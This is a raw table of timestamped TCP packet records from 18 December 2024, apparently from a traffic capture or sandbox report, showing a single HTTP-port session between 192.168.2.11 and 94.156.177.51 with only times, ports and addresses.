Dec 18, 2024 09:21:49.119805098 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119829893 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.119829893 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.119829893 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.120142937 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.239429951 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.239507914 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.239706993 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.243534088 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.292752981 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.310422897 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.310503960 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.311218023 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.314558983 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.316142082 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.316215038 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.317200899 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.324485064 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.324604988 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.324965000 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.332832098 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.332947016 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.332966089 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.341245890 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.341319084 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.342355967 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.349648952 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.349709988 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.349787951 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.357984066 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.358059883 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.361007929 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.366328001 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.366405964 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.366409063 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.374680996 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.374747992 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.374893904 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.383102894 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.383232117 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.383374929 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.413045883 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.413156986 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.413590908 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.430824995 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.430871964 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.432199955 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.501548052 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.501692057 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.501790047 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.504019022 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.504194021 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.504275084 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.508985996 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.510889053 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.510988951 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.511069059 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.515938044 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.515980959 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.516577005 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.520441055 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.520503998 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.520556927 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.524939060 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.525059938 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.525125980 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.529576063 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.529705048 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.530806065 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.534120083 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.534207106 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.534256935 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.538712025 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.538921118 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.539009094 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.543251991 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.543319941 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.543596029 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.547842026 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.547947884 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.548024893 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.552403927 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.552437067 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.552527905 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.556981087 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.557106018 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.557198048 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.561533928 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.561614037 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.561690092 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.565244913 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.565275908 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.565555096 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.569035053 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.569130898 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.569247961 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.572597980 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.572707891 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.572734118 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.576292038 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.576406956 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.576529980 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.579968929 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.580074072 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.580143929 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.583703995 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.583738089 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.583827972 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.587450981 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.587639093 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.587898016 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.591216087 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.591303110 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.591409922 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.621352911 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.667674065 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.707039118 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.710681915 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.710695982 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.710768938 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.750818014 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.790321112 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.831547976 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.831576109 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.831609011 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.831618071 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.831665993 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.952586889 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952665091 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952722073 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952742100 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.952763081 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952796936 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952807903 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.952831030 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952866077 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952903986 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952918053 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.952920914 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952943087 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952955008 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952955961 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.952969074 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952980042 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.952991962 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953003883 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953022957 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.953022957 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.953051090 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953063011 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953073025 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953083992 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953083992 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.953083992 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.953094959 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953105927 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953134060 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.953191996 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.953202009 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953212976 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.953255892 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.953989983 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.954042912 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.954097986 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.954111099 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.954123020 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.954133987 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.954144955 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.954154968 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.954166889 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.954180002 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.954215050 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:49.995779037 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.151493073 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.271147966 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.600955963 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.601116896 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.601191044 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.602210045 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.602297068 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.602343082 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.604836941 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.608627081 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.608639002 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.608669996 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.610188961 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.610200882 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.610244989 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.612323046 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.612504005 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.613388062 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.613604069 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.613785982 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.615739107 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.615912914 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.615966082 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.618259907 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.619359970 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.619479895 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.619505882 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.621695995 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.621746063 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.621778965 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.624113083 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.624161005 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.632827044 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.632960081 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.633066893 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.634054899 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.634068966 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.634130001 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.636507034 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.670918941 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.670974016 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.670991898 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.672070026 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.672137022 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.774089098 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.774102926 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.774179935 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.774899960 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.774996042 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.775027037 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:50.776823044 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.776890039 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:50.776933908 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.004509926 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.004554987 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.004664898 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.005557060 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.005641937 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.005708933 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.008064985 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.058299065 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.270394087 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.270421982 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.270509005 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.271512985 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.271678925 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.271805048 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.274066925 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.306885004 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.306941986 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.307059050 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.308077097 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.308156013 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.308170080 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.310535908 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.311398983 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.311466932 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.311558008 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.312453032 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.313910007 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.313977003 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.314049959 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.316390991 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.316504002 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.316562891 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.318826914 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.318968058 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.319037914 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.321382999 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.321477890 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.321691036 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.323920012 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.324001074 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.324068069 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.326342106 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.326477051 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.326530933 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.328881025 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.328990936 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.329075098 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.331338882 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.331403017 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.331439972 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.333894014 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.333973885 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.334266901 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.336406946 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.336575985 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.336630106 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.338876009 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.338891983 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.338946104 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.341336966 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.341423035 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.341484070 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.343892097 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.343935966 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.344053984 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.346304893 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.346323967 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.346395969 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.348809958 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.348906994 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.348953009 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.351387024 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.351399899 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.351437092 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.353753090 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.353884935 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.353943110 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.356400967 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.356420040 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.356511116 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.358799934 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.358941078 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.359108925 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.361262083 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.361387014 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.361437082 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.363682985 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.417659044 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.426625013 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.426711082 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.426769018 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.427954912 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.428010941 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.428097010 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.430387020 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.430428982 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.430529118 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.431884050 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.431978941 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.432173967 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.434331894 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.434457064 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.434509993 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.436834097 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.439650059 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.439733982 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.439785004 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.440928936 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.440978050 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.440999031 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.443325043 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.443367958 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:51.445187092 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:51.445288897 CET	80	49706	94.156.177.51	192.168.2.11
